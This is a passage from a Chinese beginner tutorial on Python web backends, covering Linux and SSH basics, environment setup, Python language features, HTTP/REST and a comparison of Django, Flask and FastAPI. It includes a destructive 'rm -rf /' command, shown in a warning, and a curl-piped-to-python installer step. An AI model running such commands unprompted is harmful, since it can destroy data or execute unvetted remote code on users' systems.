Python Web 后端开发

从零搭建一个生产级后端服务,你需要知道的一切

面向后端开发初学者 · Flask / Django / FastAPI 三框架 · 从入门到架构 · 2026
第一部分 · 基础铺垫

01. 为什么学 Python Web 后端

你打开手机刷朋友圈、点外卖、网购、看视频——这些操作背后,都有一台远程电脑在默默处理你的请求。这台电脑上运行的程序,就是后端。而 Python,是写后端最流行的语言之一。

一个类比

如果把一个网站比作一家餐厅,前端就是你看到的菜单、装修和服务员——负责"展示"。后端就是厨房——负责"做菜"。你点了一份红烧肉(发了一个请求),厨房(后端)接单、做菜、装盘、端出来(返回响应)。Python 就是厨房里最好用的那把菜刀——上手快、用途广、什么菜都能切。

后端开发到底在做什么

后端开发的核心工作可以归纳为四件事:

1
接收请求——用户点击"登录"按钮,浏览器把用户名和密码发送到你的服务器。
2
处理逻辑——验证密码是否正确、查询数据库、计算价格、生成推荐列表。
3
读写数据——把数据存到数据库(MySQL、Redis),或者从数据库取出来。
4
返回响应——把处理结果(JSON、HTML 页面)发回给用户。

为什么选 Python

后端可以用 Java、Go、Node.js、Rust 等很多语言。为什么 Python 特别值得学?

优势说明
入门门槛最低语法像英语,没有复杂的类型声明和编译步骤。初学者几天就能写出能跑的 Web 服务。
生态极其丰富Django、Flask、FastAPI 三大框架覆盖所有场景。PyPI 上有 50 万+ 的第三方库。
AI/ML 生态绑定PyTorch、TensorFlow、LangChain 全是 Python。后端 + AI 结合的趋势不可逆。
社区庞大遇到问题 Google 一下就有答案。Stack Overflow 上 Python 问题数量常年 Top 3。
全栈能力同一门语言搞定后端 + 数据分析 + 爬虫 + 自动化运维。
Python 的短板:性能

Python 的运行速度确实比 Go、Rust 慢。但对于 90% 的 Web 业务场景(CRUD 操作),瓶颈在数据库而不是代码。当真的遇到性能瓶颈时,可以用异步框架(FastAPI)、缓存(Redis)、任务队列(Celery)来解决。Instagram、Pinterest、Dropbox 的后端都是 Python。

行业全景与薪资

Python 后端开发者的就业方向非常广泛:

Web 后端
网站 / App 的服务器端——电商、社交、SaaS 平台。最主流的方向。
API 服务
为前端 / 移动端提供数据接口——RESTful API、GraphQL。前后端分离架构的核心。
AI 后端
大模型应用的服务端——ChatGPT 类应用、RAG 系统、Agent 平台。薪资天花板最高。
数据平台
数据采集 / 处理 / 可视化——爬虫、ETL、数据看板。数据驱动公司的核心。
DevOps / 平台工程
自动化运维 / CI/CD / 云原生——用 Python 写运维脚本和平台工具。

学习路线图

这本教程按照从易到难的顺序编排,建议按以下节奏学习:

1
第 1-7 章:基础铺垫(1-2 周)——Linux、Python 语法、HTTP、Web 框架概念。地基打牢。
2
第 8-23 章:框架实战(3-4 周)——Flask、Django、FastAPI 三选一深入学,其余了解。做项目。
3
第 24-46 章:核心能力(4-6 周)——数据库、认证、缓存、队列、WebSocket。后端的"内功"。
4
第 47-61 章:测试 + 部署(2-3 周)——pytest、Docker、Nginx、CI/CD。从"能跑"到"能上线"。
5
第 62-78 章:进阶架构(持续学习)——性能优化、微服务、分布式。高级工程师的必修课。
给零基础同学的建议

如果你完全没写过代码,建议先花 1-2 周学 Python 基础语法(变量、循环、函数、类),再来学这本教程。推荐用 interactive Python tutorial(搜索 "Python Tutorial W3Schools")快速入门。不需要学得很深,能看懂简单的 for 循环和函数定义就够了。

学完能做什么

学完这本教程,你将具备以下能力:独立设计和开发一个完整的后端 API 服务、用数据库存储和查询数据、实现用户认证和权限控制、用 Docker 部署到云服务器、用缓存和队列优化性能、编写自动化测试。这些能力足以胜任初级到中级后端开发工程师的岗位。

02. Linux 基础与网络常识

几乎所有生产环境的服务器都运行 Linux。你写的 Python 代码最终要部署到 Linux 上。不懂 Linux,就像赛车手不懂怎么开车——代码写得再好也跑不起来。

一个类比

Windows 是自动挡汽车——点点鼠标就能完成大部分操作。Linux 是手动挡——你需要用命令来操控一切。手动挡更灵活、更高效,但需要学习换挡(命令行操作)。好消息是,你只需要学会 20-30 个常用命令就能应付 90% 的场景。

文件与目录操作

Linux 的一切皆文件。学会操作文件和目录是第一步:

命令作用示例
ls列出目录内容ls -la(显示详细信息,包括隐藏文件)
cd切换目录cd /var/log(进入日志目录)
pwd显示当前路径pwd(输出 /home/user)
mkdir创建目录mkdir -p a/b/c(递归创建多级目录)
cp复制文件cp -r src/ dst/(递归复制目录)
mv移动/重命名mv old.py new.py
rm删除文件rm -rf build/(强制递归删除,慎用!)
cat查看文件内容cat config.py
tail查看文件末尾tail -f app.log(实时跟踪日志)
grep搜索文本grep -r "error" /var/log/(递归搜索关键词)
find查找文件find / -name "*.py" -size +1M
chmod修改权限chmod 755 run.sh
chown修改所有者chown www-data:www-data app/
危险操作警告

rm -rf / 会删除整个系统的所有文件!在生产环境执行任何删除命令前,先用 ls 确认目标。建议在 .bashrc 中加上 alias rm='rm -i',让每次删除都提示确认。

文件权限系统

Linux 用"三组三位"控制文件权限:

-rwxr-xr-- 1 user group 4096 Jun 26 app.py

从左到右:第 1 位是文件类型(- 文件,d 目录)。后面 9 位分成三组:所有者(u)、同组(g)、其他人(o),每组三位分别是 读(r=4)、写(w=2)、执行(x=1)。

1
chmod 755 app.py——所有者读写执行(7=4+2+1),其他人读和执行(5=4+1)。Web 应用常用。
2
chmod 600 secret.key——只有所有者能读写。密钥文件必须这样设。
3
chmod 644 config.py——所有者读写,其他人只读。配置文件常用。

进程管理

后端开发者经常需要查看、启动、停止服务进程:

命令作用场景
ps aux查看所有进程ps aux | grep python(找 Python 进程)
top / htop实时监控资源查看 CPU、内存使用情况
kill终止进程kill -9 12345(强制终止 PID 为 12345 的进程)
systemctl管理服务systemctl restart nginx(重启 Nginx)
nohup后台运行nohup python app.py &(后台运行不中断)
supervisor进程守护自动重启崩溃的进程(生产环境必备)
后端开发最常用的命令组合

tail -f /var/log/app.log 实时看日志 → grep "ERROR" app.log 搜错误 → ps aux | grep gunicorn 看进程 → systemctl restart app 重启服务。这四条命令组合,能解决 80% 的线上排查问题。

网络基础:TCP/IP 与端口

当你在浏览器输入 https://www.baidu.com,发生了什么?

1
DNS 解析——把域名 www.baidu.com 翻译成 IP 地址 110.242.68.66。就像查电话簿找人名对应的号码。
2
TCP 三次握手——客户端和服务器确认彼此能收发数据。像打电话:"喂?" "听到了。" "我也听到了。" 开始说正事。
3
HTTP 请求——浏览器发送请求(URL、Header、Body)。像寄信:写地址、写内容、投递。
4
服务器处理——后端程序接收请求、查数据库、生成响应。像邮局处理信件。
5
HTTP 响应——服务器把 HTML/JSON 返回给浏览器。像回信。
6
TCP 四次挥手——双方确认数据传完,断开连接。像电话打完说"再见"。

端口与防火墙

一台服务器可以同时运行多个服务(Web、数据库、Redis)。端口就是区分不同服务的编号:

端口常见服务说明
22SSH远程登录服务器
80HTTP网站默认端口
443HTTPS加密网站
3306MySQL数据库
5432PostgreSQL数据库
6379Redis缓存
8000 / 8080Web 应用开发服务器常用端口
安全组 / 防火墙

云服务器默认只开放 22(SSH)和 443(HTTPS)端口。如果你的应用跑在 8000 端口,需要在云控制台的安全组中添加入站规则。但不要把数据库端口(3306/5432)暴露到公网——只允许服务器本机或内网访问。

SSH 远程连接

SSH(Secure Shell)是连接远程服务器的标准方式:

# 1. 密码登录(简单但不安全)
ssh root@123.45.67.89
# 输入密码即可

# 2. 密钥登录(推荐!更安全)
# 本地生成密钥对
ssh-keygen -t ed25519 -C "your@email.com"
# 把公钥传到服务器
ssh-copy-id root@123.45.67.89
# 之后登录不需要密码
ssh root@123.45.67.89

# 3. 传输文件
scp app.py root@123.45.67.89:/home/app/       # 上传单个文件
scp -r ./myapp root@123.45.67.89:/home/app/    # 上传整个目录

# 4. SSH 端口转发(把远程端口映射到本地)
ssh -L 3306:localhost:3306 root@123.45.67.89   # 本地访问远程 MySQL
实用技巧

在 ~/.ssh/config 中配置服务器别名,省去每次输入 IP 的麻烦:

# ~/.ssh/config
Host myserver
    HostName 123.45.67.89
    User root
    IdentityFile ~/.ssh/id_ed25519

# 之后只需:ssh myserver

包管理:apt 与 yum

Linux 用包管理器安装软件,就像手机的应用商店:

# Ubuntu / Debian(apt)
sudo apt update                    # 更新软件源
sudo apt install nginx             # 安装 Nginx
sudo apt remove nginx              # 卸载
sudo apt upgrade                   # 升级所有已安装的包

# CentOS / RHEL(yum / dnf)
sudo yum install nginx
sudo yum remove nginx
sudo yum update

03. 开发环境搭建

工欲善其事,必先利其器。在写第一行 Python 代码之前,你需要把开发环境搭好。这就像做菜之前先把锅碗瓢盆摆好。

一个类比

虚拟环境就像厨房里的独立工作台——你在 A 工作台做中餐(项目 A 用 Django 3.2),在 B 工作台做西餐(项目 B 用 Django 4.2)。两个工作台互不干扰。没有虚拟环境,所有项目共用一个环境,版本冲突会让你崩溃。

安装 Python

1
Windows——去 python.org 下载安装包,勾选"Add Python to PATH"(非常重要!),然后一路 Next。打开 cmd 输入 python --version 验证。
2
macOS——推荐用 Homebrew:brew install python@3.12。macOS 自带的 Python 版本较旧,不要用。
3
Linux——Ubuntu/Debian:sudo apt install python3.12 python3.12-venv python3-pip。CentOS:sudo dnf install python3.12。
版本选择

推荐 Python 3.11 或 3.12。不要用 3.8 以下的旧版本,也不要追最新的 3.13(部分库兼容性还没跟上)。用 python3 --version 确认版本。Linux/macOS 上 python 可能指向 Python 2,始终用 python3。

虚拟环境:venv

虚拟环境是 Python 后端开发的必备工具。每个项目一个独立环境,避免依赖冲突。

# 1. 创建虚拟环境
python3 -m venv myproject-env

# 2. 激活虚拟环境
# Windows:
myproject-env\Scripts\activate
# macOS / Linux:
source myproject-env/bin/activate

# 激活后,命令行前面会出现 (myproject-env) 标识
(myproject-env) $ python --version
Python 3.12.4

# 3. 安装依赖
pip install flask django fastapi

# 4. 导出依赖列表
pip freeze > requirements.txt

# 5. 从 requirements.txt 安装依赖
pip install -r requirements.txt

# 6. 退出虚拟环境
deactivate
常见错误

忘记激活虚拟环境就开始 pip install,结果包装到了全局环境。每次开始工作前,先确认命令行前面有 (venv) 标识。VS Code 会自动检测虚拟环境,但你需要手动选择 Python 解释器(Ctrl+Shift+P → "Python: Select Interpreter")。

Poetry:现代依赖管理

Poetry 是 pip + virtualenv 的升级版,能自动管理依赖版本、锁定文件、打包发布:

# 安装 Poetry
curl -sSL https://install.python-poetry.org | python3 -

# 创建新项目
poetry new myproject
cd myproject

# 添加依赖(自动管理虚拟环境)
poetry add flask
poetry add sqlalchemy
poetry add --group dev pytest    # 开发依赖

# 安装所有依赖
poetry install

# 运行命令(在虚拟环境中)
poetry run python app.py
poetry run pytest

# 激活虚拟环境
poetry shell

# 生成 lock 文件(锁定所有依赖的精确版本)
poetry lock
工具优点缺点
pip + venvPython 内置,零安装没有 lock 文件,依赖解析弱
Poetry自动管理虚拟环境、lock 文件、打包发布安装稍复杂,学习曲线
conda管理 Python 版本 + C 扩展依赖体积大,主要用于数据科学
uv极快(Rust 写的)、兼容 pip较新,生态还在成长
2026 年推荐

新项目首选 Poetry 或 uv。如果你是初学者,先用 pip + venv 理解原理,再迁移到 Poetry。企业项目通常用 Poetry。

VS Code 配置

VS Code 是 Python 后端开发最流行的编辑器(免费、插件丰富):

# 必装插件(在 VS Code 扩展市场搜索安装)
1. Python                   # Microsoft 官方,语法高亮 + 调试
2. Pylance                  # 智能补全、类型检查
3. Python Debugger          # 断点调试
4. autoDocstring            # 自动生成文档字符串
5. GitLens                  # Git 增强(查看谁改了哪行代码)
6. Thunder Client / REST Client  # API 测试(类似 Postman)
7. SQLite Viewer            # 查看数据库文件

推荐配置(在 .vscode/settings.json 中):

{
  "python.defaultInterpreterPath": "./venv/bin/python",
  "python.linting.enabled": true,
  "python.linting.ruffEnabled": true,
  "python.formatting.provider": "none",
  "[python]": {
    "editor.defaultFormatter": "charliermarsh.ruff",
    "editor.formatOnSave": true,
    "editor.codeActionsOnSave": {
      "source.fixAll": "explicit",
      "source.organizeImports": "explicit"
    }
  },
  "files.exclude": {
    "**/__pycache__": true,
    "**/*.pyc": true
  }
}

Git 基础

Git 是版本控制系统——记录代码的每次修改,让你能回退到任何历史版本。后端开发必备。

# 1. 初始化仓库
git init
git add .
git commit -m "初始提交"

# 2. 日常工作流
git status                    # 查看哪些文件改了
git diff                      # 查看具体改了什么
git add .                     # 暂存所有修改
git commit -m "修复登录bug"    # 提交

# 3. 分支管理
git branch feature-login      # 创建分支
git checkout feature-login    # 切换分支
git checkout -b feature-login # 创建并切换(简写)
git checkout main             # 回到主分支
git merge feature-login       # 合并分支

# 4. 远程仓库
git remote add origin https://github.com/you/repo.git
git push -u origin main       # 推送到 GitHub
git pull origin main          # 拉取最新代码

# 5. .gitignore(告诉 Git 忽略哪些文件)
# 创建 .gitignore 文件,写入:
__pycache__/
*.pyc
.env
venv/
.idea/
.vscode/
Git 提交规范

好的 commit message 能让团队快速理解每次修改的目的。推荐格式:类型: 简短描述。类型包括:feat(新功能)、fix(修复)、docs(文档)、refactor(重构)、test(测试)。例如:feat: 添加用户注册接口、fix: 修复密码验证逻辑。

04. Python 语法速览

这一章不是 Python 入门教程——我们假设你已经知道变量、循环、函数这些基础。这里专门讲后端开发中高频使用的 Python 特性。掌握这些,你看框架源码时就不会一脸懵。

装饰器(Decorator)

装饰器是 Python 最强大也最让人困惑的特性之一。本质很简单:一个函数包装另一个函数,在不修改原函数代码的情况下增加功能。

一个类比

装饰器就像手机壳——手机本身没变(函数逻辑不变),但套上壳后多了防摔功能(额外逻辑)。你可以套多个壳(叠加多个装饰器)。

# 最简单的装饰器
import time
import functools

def timer(func):
    """计时装饰器:记录函数执行时间"""
    @functools.wraps(func)                  # 保留原函数的 __name__、__doc__ 等元信息
    def wrapper(*args, **kwargs):
        start = time.time()
        result = func(*args, **kwargs)      # 调用原函数
        elapsed = time.time() - start
        print(f"{func.__name__} 耗时 {elapsed:.3f}秒")
        return result
    return wrapper

@timer                          # 等价于 slow_function = timer(slow_function)
def slow_function():
    time.sleep(1)
    return "完成"

slow_function()                 # 输出:slow_function 耗时 1.001秒

后端中最常见的装饰器用法:

# Flask 路由装饰器(定义 URL 映射)
@app.route('/api/users', methods=['GET'])
def get_users():
    return jsonify(users)

# Django 权限装饰器(限制登录用户才能访问)
@login_required
def dashboard(request):
    return render(request, 'dashboard.html')

# 自定义:接口耗时统计 + 日志
def log_api(func):
    @functools.wraps(func)                  # 保留原函数元信息
    def wrapper(*args, **kwargs):
        print(f"[API] 调用 {func.__name__}")
        try:
            result = func(*args, **kwargs)
            print(f"[API] {func.__name__} 成功")
            return result
        except Exception as e:
            print(f"[API] {func.__name__} 失败: {e}")
            raise
    return wrapper
带参数的装饰器

如果装饰器需要参数(如 @login_required(role='admin')),需要多嵌套一层函数。简单理解:不带参数的装饰器是 @deco,带参数的是 @deco(args)(实际上是先调用 deco(args) 返回真正的装饰器,再用这个装饰器去装饰函数)。

# 带参数的装饰器示例
def require_role(role):
    """检查用户角色的装饰器"""
    def decorator(func):
        @functools.wraps(func)
        def wrapper(*args, **kwargs):
            user = get_current_user()
            if user.role != role:
                raise PermissionError(f"需要 {role} 权限")
            return func(*args, **kwargs)
        return wrapper
    return decorator

@require_role('admin')              # 先调用 require_role('admin') 返回装饰器
def delete_user(user_id):
    ...

生成器(Generator)

生成器是一种"惰性"的数据生产者——它不会一次性把所有数据加载到内存,而是用一个产出一个。

一个类比

普通函数像自动贩卖机——你按一下,它把所有商品全倒出来(返回完整列表)。生成器像厨师做菜——你点一道,他做一道(yield 一个值),不浪费。

# 普通函数:一次性返回所有数据(内存占用大)
def get_all_users():
    result = []
    for i in range(1000000):
        result.append(f"user_{i}")   # 100万个字符串全部存在内存
    return result

# 生成器:按需产出(内存占用极小)
def generate_users():
    for i in range(1000000):
        yield f"user_{i}"            # 每次只产出一个,用完就丢

# 使用
for user in generate_users():       # 逐个处理,内存中始终只有一个
    if user == "user_999":
        break                        # 不需要的数据不会被生成

后端中的典型应用场景:

大文件读取
逐行读取 10GB 日志文件——用 for line in open('log.txt'),Python 自动用生成器逐行读取。
数据库分批查询
避免一次查 100 万条记录——用 query.yield_per(1000) 分批获取。
流式响应
大文件下载 / SSE 推送——用 yield 一块一块返回数据,不用等全部生成完。

类型提示(Type Hints)

Python 3.5+ 支持类型提示——给变量和函数标注类型。不会影响运行,但能让 IDE 提供更好的补全和错误检查。

# 函数签名的类型提示
def create_user(name: str, age: int, email: str | None = None) -> dict:
    """创建用户,返回用户信息字典"""
    user = {"name": name, "age": age}
    if email:
        user["email"] = email
    return user

# 变量类型提示
count: int = 0
items: list[str] = ["apple", "banana"]
config: dict[str, Any] = {"debug": True}

# Pydantic 中大量使用类型提示(FastAPI 的核心)
from pydantic import BaseModel

class UserCreate(BaseModel):
    name: str                           # 必填
    age: int = Field(ge=0, le=150)      # 必填,0-150之间
    email: str | None = None            # 可选
为什么后端开发必须用类型提示

FastAPI 的核心卖点就是"类型提示驱动开发"——你写的类型提示会自动生成 API 文档、自动校验请求参数。Django 和 Flask 也在逐步拥抱类型提示。更重要的是,类型提示让代码可读性大幅提升:看到 def get_user(user_id: int) -> User | None,你立刻知道传什么、返回什么。

dataclass:自动生成数据类

写一个"只存数据"的类,传统方式需要手写 __init__、__repr__、__eq__。dataclass 帮你自动生成:

from dataclasses import dataclass, field
from datetime import datetime

@dataclass
class User:
    name: str
    age: int
    email: str = ""                                  # 默认值
    created_at: datetime = field(default_factory=datetime.now)  # 动态默认值
    tags: list[str] = field(default_factory=list)    # 可变默认值用 factory

    def is_adult(self) -> bool:                      # 可以加方法
        return self.age >= 18

# 自动拥有 __init__、__repr__、__eq__
user = User(name="张三", age=25)
print(user)           # User(name='张三', age=25, email='', created_at=..., tags=[])
print(user.is_adult()) # True

上下文管理器(with 语句)

上下文管理器确保资源在使用后被正确释放(关闭文件、释放锁、回滚事务):

# 最常见的:文件操作
with open("config.py", "r") as f:
    content = f.read()
# 离开 with 块后,文件自动关闭(即使发生异常)

# 数据库事务(SQLAlchemy)
with session.begin():
    user.name = "新名字"
    session.add(user)
# 离开 with 块后,自动 commit 或 rollback

# 自定义上下文管理器
from contextlib import contextmanager

@contextmanager
def timer_context(label):
    start = time.time()
    yield                            # with 块中的代码在这里执行
    elapsed = time.time() - start
    print(f"{label} 耗时 {elapsed:.3f}秒")

with timer_context("数据库查询"):
    users = db.query(User).all()     # 会被计时

f-string:字符串格式化

f-string 是 Python 3.6+ 引入的字符串格式化方式,比 % 和 .format() 更简洁:

name = "张三"
age = 25
price = 99.5

# 基础用法
print(f"姓名:{name},年龄:{age}")          # 姓名:张三,年龄:25

# 表达式
print(f"明年 {age + 1} 岁")                   # 明年 26 岁
print(f"打折后:{price * 0.8:.1f} 元")         # 打折后:79.6 元(.1f 保留1位小数)

# 调用函数
print(f"大写:{name.upper()}")                 # 大写:张三(对中文无效,对英文有效)

# 调试模式(Python 3.8+)——后端开发神器
user_count = 42
print(f"{user_count = }")                      # user_count = 42(自动打印变量名和值)

pathlib:现代文件路径操作

用 pathlib 代替 os.path,代码更清晰:

from pathlib import Path

# 创建路径
project = Path("/home/app/myproject")
config = project / "config" / "settings.py"    # 用 / 拼接路径(跨平台!)

# 常用操作
config.exists()                  # 文件是否存在
config.is_file()                 # 是否是文件
config.read_text()               # 读取文件内容
config.write_text("新内容")       # 写入文件
config.suffix                    # 文件扩展名:'.py'
config.stem                      # 文件名(不含扩展名):'settings'
config.parent                    # 父目录:/home/app/myproject/config

# 遍历目录
for py_file in project.glob("**/*.py"):    # 递归查找所有 .py 文件
    print(py_file)

# 创建目录
Path("logs").mkdir(parents=True, exist_ok=True)   # 递归创建,已存在不报错
这些特性在框架中无处不在

你会在后续章节中反复看到这些语法:Flask 的 @app.route 是装饰器、FastAPI 的 async for 用到生成器、Pydantic 依赖类型提示、Django 的 with connection.cursor() 是上下文管理器。现在花 30 分钟理解这些,后面学框架会轻松很多。

asyncio 基础速览

Python 3.5+ 支持原生异步编程——用 async/await 写并发代码。FastAPI 的高性能就建立在异步之上。

一个类比

同步像排队取餐——你必须等前一个人取完才能轮到你。异步像取号等餐——你取了号就可以去逛别的,叫到你再去取。在等待(IO)的时间,CPU 可以去处理其他请求。

import asyncio
import time

# 同步版本:总耗时 3 秒
def sync_fetch(url):
    time.sleep(1)  # 模拟网络请求
    return f"数据来自 {url}"

def sync_main():
    for url in ["api1", "api2", "api3"]:
        print(sync_fetch(url))  # 串行执行,每次等 1 秒

# 异步版本:总耗时 1 秒
async def async_fetch(url):
    await asyncio.sleep(1)  # 异步等待,不阻塞事件循环
    return f"数据来自 {url}"

async def async_main():
    # 并发执行三个请求
    results = await asyncio.gather(
        async_fetch("api1"),
        async_fetch("api2"),
        async_fetch("api3"),
    )
    for result in results:
        print(result)

# 运行异步代码
asyncio.run(async_main())  # 总耗时约 1 秒

# 协程 vs 线程 vs 进程
# - 协程(async/await):IO 密集型最佳选择,单线程,无锁
# - 线程(threading):IO 密集型,有 GIL 限制,适合兼容同步代码
# - 进程(multiprocessing):CPU 密集型,绕过 GIL,适合计算密集任务
# 在异步代码中调用同步阻塞函数
import asyncio

def blocking_io():
    time.sleep(1)  # 同步阻塞
    return "完成"

async def main():
    # ❌ 错误:直接调用会阻塞整个事件循环
    # result = blocking_io()

    # ✅ 正确:放到线程池中执行
    result = await asyncio.to_thread(blocking_io)
    print(result)

asyncio.run(main())
何时用异步?

① IO 密集型(网络请求、数据库查询、文件读写)→ 用 async/await。② CPU 密集型(图像处理、数据分析、加密计算)→ 用 multiprocessing。③ 既有 IO 又有 CPU → 异步 + asyncio.to_thread() 包装 CPU 任务。

05. HTTP 与 REST

HTTP 是 Web 的"语言"——浏览器和服务器之间所有的沟通都靠它。作为后端开发者,你写的每一行代码都在处理 HTTP 请求和响应。

一个类比

HTTP 就像写信的格式规范。信封上要写收件人地址(URL)、发件人信息(Header)、信的内容(Body)。邮局(网络)按照这个格式把信送到目的地。REST 就是在这个格式基础上,约定了一套"写信礼仪"——让所有人都能看懂你的信。

HTTP 请求结构

一个 HTTP 请求包含四部分:

POST /api/users HTTP/1.1                    ← 请求行:方法 + URL + 协议版本

# 查询参数(Query String)——GET 请求常用,用 ? 和 & 连接
# GET /api/users?page=1&limit=20&sort=-created_at&role=admin
Host: www.example.com                        ← 请求头(Header)
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...
Cookie: session_id=abc123

{                                            ← 请求体(Body)
  "name": "张三",
  "age": 25,
  "email": "zhangsan@example.com"
}

HTTP 方法(动词)

HTTP 定义了多种方法来表达"你想做什么":

方法含义后端对应操作幂等性
GET获取资源查询数据库,返回数据✅ 幂等
POST创建资源插入数据库,返回新记录❌ 不幂等
PUT整体替换资源更新整条记录✅ 幂等
PATCH部分更新资源只修改部分字段❌ 不幂等
DELETE删除资源从数据库删除记录✅ 幂等
OPTIONS查询支持的方法CORS 预检请求✅ 幂等
什么是"幂等"?

幂等 = 执行一次和执行多次的效果一样。GET /users/1 查 1 次和查 100 次结果一样,所以幂等。POST /orders 发一次创建一个订单,发 10 次创建 10 个订单,所以不幂等。幂等性在设计 API 时非常重要——网络超时重试时,幂等操作是安全的。

HTTP 状态码

状态码告诉客户端"请求结果如何"。记住常用的就够了:

2xx 成功
200 OK / 201 Created / 204 No Content——请求成功。201 表示创建了新资源,204 表示成功但没有返回内容(如删除操作)。
3xx 重定向
301 Moved Permanently / 302 Found / 304 Not Modified——资源被移动了,或者客户端缓存还有效。
4xx 客户端错误
400 / 401 / 403 / 404 / 405 / 409 / 422 / 429——请求有问题。401 没登录,403 没权限,405 方法不允许(如对 GET-only 路由发 POST),409 冲突(如重复创建),422 参数校验失败,429 请求过于频繁(限流)。
5xx 服务器错误
500 / 502 / 503 / 504——服务器出了问题。500 代码 Bug,502 网关错误(上游服务挂了),503 服务过载/维护中,504 网关超时(上游响应太慢)。

请求头(Header)常用字段

Header作用示例
Content-Type请求体的数据格式application/json
Authorization身份认证令牌Bearer eyJhbG...
Cookie会话信息session_id=abc123
Accept客户端期望的响应格式application/json
User-Agent客户端信息Mozilla/5.0 ...
X-Forwarded-For真实 IP(经过代理后)1.2.3.4

HTTPS:加密的 HTTP

HTTP 是明文传输的——你在咖啡厅连公共 WiFi 登录网站,密码可能被别人截获。HTTPS 在 HTTP 外面加了一层 TLS 加密:

1
客户端发起连接——"我要和你安全通信"
2
服务器返回证书——"这是我的身份证(SSL 证书)"
3
客户端验证证书——"我查了一下,你确实是百度"(证书由受信任的 CA 机构签发)
4
协商加密密钥——双方用非对称加密协商出一个对称密钥
5
加密通信——后续所有数据用对称密钥加密传输
生产环境必须用 HTTPS

现代浏览器会标记 HTTP 网站为"不安全"。用 Let's Encrypt 可以免费获取 SSL 证书。第 56 章会详细讲如何配置。

RESTful API 设计规范

REST(Representational State Transfer)不是协议,而是一种设计风格。遵循 REST 规范的 API 直观、一致、易用:

# 好的 RESTful 设计
GET    /api/users              # 获取用户列表
GET    /api/users/123          # 获取 ID=123 的用户
POST   /api/users              # 创建新用户
PUT    /api/users/123          # 更新 ID=123 的用户(整体替换)
PATCH  /api/users/123          # 更新 ID=123 的用户(部分修改)
DELETE /api/users/123          # 删除 ID=123 的用户

# 嵌套资源
GET    /api/users/123/orders   # 获取用户 123 的订单列表
POST   /api/users/123/orders   # 为用户 123 创建订单
常见的反 REST 设计

以下写法虽然能用,但不 RESTful:

GET /api/getUser?id=123(动词放在 URL 里)→ 应该用 GET /api/users/123
POST /api/deleteUser(用 POST 代替 DELETE)→ 应该用 DELETE /api/users/123
GET /api/user_list(用下划线)→ 应该用 /api/users(复数名词,用连字符)

REST 六大约束

1
客户端-服务器分离——前端和后端独立开发、独立部署。前端可以换,后端不用改。
2
无状态——每个请求必须包含所有必要信息(认证令牌、参数)。服务器不记住"你是谁"。
3
可缓存——响应可以标记为"可缓存",客户端下次直接用缓存,不打扰服务器。
4
统一接口——URL 表示资源,HTTP 方法表示操作,格式统一。
5
分层系统——客户端不需要知道请求经过了几层代理、负载均衡。
6
按需代码(可选)——服务器可以返回可执行代码(如 JavaScript)扩展客户端功能。
无状态的实际意义

无状态意味着:请求 A 和请求 B 之间没有关联。服务器不会记住"你刚才已经登录了"。那怎么知道用户是谁?答案是:每次请求都带上令牌(JWT)或 Cookie。这让水平扩展变得简单——新增一台服务器就能分担流量,不需要同步会话状态。

CORS:前后端分离的第一个坑

当前端(localhost:3000)调用后端(localhost:8000)时,浏览器会报 CORS(跨域资源共享)错误。这不是代码 Bug,是浏览器的安全策略。解决方法:后端添加 CORS 中间件(Flask 用 Flask-CORS,FastAPI 用 CORSMiddleware,Django 用 django-cors-headers)。第 13/20 章会详细讲。

06. Web 框架全景 — Django / Flask / FastAPI 怎么选

用原生 Python 写 Web 服务是可能的(http.server 模块),但就像用菜刀砍树——能砍,但太费劲。Web 框架帮你处理路由、请求解析、响应生成、模板渲染等重复工作,让你专注于业务逻辑。

一个类比

Django 像宜家的整套家具——买回来就能用,桌子椅子柜子全配齐,但你想换个抽屉样式不太方便。
Flask 像一盒乐高积木——给你基础零件,你想搭什么就搭什么,但需要自己找零件。
FastAPI 像一辆特斯拉——最新技术、性能极强、自动驾驶(自动文档),但充电桩(生态)还在建设中。

三大框架对比

维度DjangoFlaskFastAPI
定位全功能框架微框架现代 API 框架
哲学Batteries Included(开箱即用)Do One Thing Well(最小核心)Type-Driven(类型驱动)
ORM内置 Django ORM(强大)无(用 SQLAlchemy)无(用 SQLAlchemy / Tortoise)
Admin 后台内置(强大!)无无
模板引擎内置模板Jinja2Jinja2(可选)
异步支持3.1+ 支持(渐进式)原生不支持原生异步(async/await)
自动文档无(需 DRF + drf-spectacular)无(需 flask-apispec)内置 Swagger + ReDoc
性能中等中等很高(接近 Node.js/Go)
学习曲线中等偏高低低(会 Python 类型提示就行)
社区成熟度非常成熟(2005 年)非常成熟(2010 年)快速成长(2018 年)
代表公司Instagram、Pinterest、MozillaNetflix、Reddit、LyftMicrosoft、Uber、Explosion

适用场景选型

选 Django
需要快速上线的全栈项目——内容管理系统(CMS)、电商平台、社交网络、SaaS 平台。内置 Admin、ORM、认证系统,开发速度最快。
选 Flask
需要高度定制的小型服务——API 网关、微服务、原型验证、嵌入式 Web。自由度最高,学习成本最低。
选 FastAPI
纯 API 服务 / 高性能需求 / AI 应用——REST API、实时通信、大模型应用后端。性能强、自动文档、类型安全。

性能基准对比

以"返回 JSON 响应"为测试场景(2026 年最新数据,requests/sec):

FastAPI (uvicorn) ≈ 15,000 req/s   |   Flask (gunicorn) ≈ 3,000 req/s   |   Django (gunicorn) ≈ 2,500 req/s
性能不应该是选型的唯一标准

对于大多数业务场景(CRUD 操作),瓶颈在数据库而不是框架。每秒 2500 请求 vs 15000 请求,对用户来说感知不到差异。除非你做的是实时通信、高频交易、大模型推理网关等对延迟敏感的场景,否则选你最熟悉的框架就好。

选型决策树

1
需要 Admin 后台 / 内置 ORM / 全栈? → 选 Django。
2
只需要 API 服务,追求性能和自动文档? → 选 FastAPI。
3
小项目 / 学习原理 / 需要极致自由? → 选 Flask。
4
团队已经用某个框架? → 跟着团队选,不要换。

三框架代码对比

同一个功能——"获取用户列表",三种框架的写法:

# ========== Django ==========
# views.py
from django.http import JsonResponse
from .models import User

def user_list(request):
    users = list(User.objects.values('id', 'name', 'email'))
    return JsonResponse(users, safe=False)

# urls.py
urlpatterns = [
    path('api/users/', views.user_list),
]
# ========== Flask ==========
from flask import Flask, jsonify
app = Flask(__name__)

@app.route('/api/users')
def user_list():
    users = db.query(User).all()
    return jsonify([{"id": u.id, "name": u.name} for u in users])
# ========== FastAPI ==========
from fastapi import FastAPI
from pydantic import BaseModel

app = FastAPI()

class UserOut(BaseModel):
    id: int
    name: str
    email: str

@app.get("/api/users", response_model=list[UserOut])
async def user_list():
    return await db.fetch_all(User)
我的建议

